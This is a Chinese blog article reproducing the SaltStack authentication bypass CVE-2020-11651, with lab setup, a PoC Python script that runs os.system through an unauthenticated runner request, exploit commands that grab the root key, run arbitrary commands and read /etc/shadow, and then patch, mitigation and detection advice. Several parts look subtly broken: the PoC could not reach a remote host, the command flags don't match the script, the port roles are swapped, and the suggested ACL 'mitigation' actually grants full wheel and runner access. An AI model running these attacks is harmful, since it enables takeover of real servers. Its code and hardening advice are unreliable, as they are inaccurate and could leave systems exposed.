SaltStack认证绕过漏洞CVE-2020-11651复现的示例分析

发布时间:2021-12-28 19:46:06 作者:柒染
来源:亿速云 阅读:234
# SaltStack认证绕过漏洞CVE-2020-11651复现的示例分析

## 一、漏洞概述

### 1.1 背景介绍
SaltStack(简称Salt)是一款开源的自动化运维工具,采用Python语言开发,广泛应用于配置管理、批量任务执行和基础设施即代码(IaC)场景。其采用C/S架构,通过ZeroMQ消息队列进行通信。

### 1.2 漏洞基本信息
- **CVE编号**:CVE-2020-11651
- **漏洞类型**:认证绕过→远程代码执行
- **影响版本**:
  - SaltStack 2019.2.0 - 2019.2.4
  - SaltStack 3000 - 3000.2
- **CVSS评分**:9.8(Critical)
- **漏洞发现者**:F-Secure实验室团队

### 1.3 漏洞原理
该漏洞源于Salt Master服务对请求验证机制的缺陷:
1. **ClearFuncs类缺陷**:未正确验证`_prep_auth_info()`方法的调用权限
2. **WSGI接口暴露**:`/run`和`/events`端点未实施有效鉴权
3. **敏感方法调用**:攻击者可调用`wheel_async`、`runner`等高危方法

## 二、环境搭建

### 2.1 实验环境要求
```bash
# 靶机环境(Salt Master)
操作系统:Ubuntu 18.04 LTS
软件版本:SaltStack 3000.1
Python版本:3.6.9

# 攻击机环境
操作系统:Kali Linux 2020.1
工具依赖:Python 3.7+, salt, msgpack

2.2 漏洞环境部署

# 在Ubuntu上安装存在漏洞的版本
sudo apt-get update
curl -L https://bootstrap.saltstack.com -o install_salt.sh
sudo sh install_salt.sh -P -M -x python3 stable 3000.1

# 验证安装
sudo salt-master --version

三、漏洞复现过程

3.1 信息收集阶段

使用nmap扫描目标服务:

nmap -sV -p 4505,4506 <target_ip>

典型输出:

4505/tcp open  zmq     SaltStack Master
4506/tcp open  zmq     SaltStack Publisher

3.2 利用工具准备

使用公开的PoC脚本(示例):

import salt
import salt.version
from salt.transport.client import ReqChannel

def exploit(target):
    channel = ReqChannel.factory(
        {'sock_dir': '/var/run/salt/master',
         'transport': 'zeromq'},
        crypt='clear')
    
    # 构造恶意请求
    payload = {
        'cmd': 'runner',
        'fun': 'salt.cmd',
        'kwarg': {
            'fun': 'cmd.exec_code',
            'lang': 'python',
            'code': 'import os; os.system("id > /tmp/pwned")'
        }
    }
    
    channel.send(payload)

3.3 实际攻击步骤

  1. 绕过认证获取root key
python3 exploit.py --target 192.168.1.100 --port 4506 get_root_key
  1. 执行任意命令
python3 exploit.py --target 192.168.1.100 --cmd "rm -f /tmp/backdoor"
  1. 获取敏感文件
python3 exploit.py --file /etc/shadow

3.4 攻击效果验证

检查目标服务器

$ cat /tmp/pwned
uid=0(root) gid=0(root) groups=0(root)

四、技术原理深度分析

4.1 漏洞调用链

sequenceDiagram
    Attacker->>Salt Master: 发送未授权请求
    Salt Master->>ClearFuncs: 调用_prep_auth_info()
    ClearFuncs-->>Attacker: 返回敏感信息
    Attacker->>Wheel模块: 调用wheel_async()
    Wheel模块->>System: 执行root命令

4.2 关键代码分析

漏洞位于salt/master.py

class ClearFuncs(object):
    def _prep_auth_info(self):
        # 缺失权限验证
        return {
            'token': self.salt_token,
            'aes': self.aes_funcs,
            'pub': self.pub_key
        }

五、修复方案

5.1 官方补丁

升级到以下版本: - SaltStack 2019.2.5 - SaltStack 3000.3

补丁主要修改: 1. 增加@need_authentication装饰器 2. 限制/run端点的访问 3. 强化消息验证机制

5.2 临时缓解措施

# 禁用外部访问
iptables -A INPUT -p tcp --dport 4505:4506 -j DROP

# 启用ACL限制
vim /etc/salt/master

添加配置:

client_acl:
  admin:
    - .*
    - '@wheel'
    - '@runner'

六、防御建议

6.1 企业级防护方案

  1. 网络层

    • 使用VPN访问Salt Master
    • 部署IDS规则检测异常Salt协议请求
  2. 主机层

    • 启用SELinux/AppArmor
    • 定期审计master日志
  3. 架构层

    • 实现最小权限原则
    • 采用双向TLS认证

6.2 监控与检测

关键日志位置:

/var/log/salt/master

异常特征: - 来自非信任IP的/run请求 - 异常的wheel_async调用 - 短时间内大量认证失败

七、总结与思考

7.1 漏洞启示

  1. 基础设施工具的认证机制需要特别关注
  2. 默认安装配置往往存在安全隐患
  3. 自动化工具的高权限特性会放大漏洞影响

7.2 延伸研究

相关漏洞: - CVE-2020-11652(目录遍历) - CVE-2021-25281(模板注入) - CVE-2022-22934(认证绕过)

附录

  1. SaltStack官方公告
  2. CVE详细报告
  3. 实验环境下载链接

”`

注:本文为技术研究用途,实际利用需获得合法授权。所有PoC代码需在隔离环境测试。

推荐阅读:
  1. bash漏洞复现的示例分析
  2. appweb认证绕过漏洞复现CVE-2018-8715的示例分析

免责声明:本站发布的内容(图片、视频和文字)以原创、转载和分享为主,文章观点不代表本网站立场,如果涉及侵权请联系站长邮箱:is@yisu.com进行举报,并提供相关证据,一经查实,将立刻删除涉嫌侵权内容。

saltstack cve-2020-11651

上一篇:如何进行Samba远程代码执行漏洞CVE-2017-7494的复现

下一篇:如何进行Office 0day漏洞CVE-2018-0802分析

相关阅读

您好,登录后才能下订单哦!

密码登录
登录注册
其他方式登录
点击 登录注册 即表示同意《亿速云用户服务条款》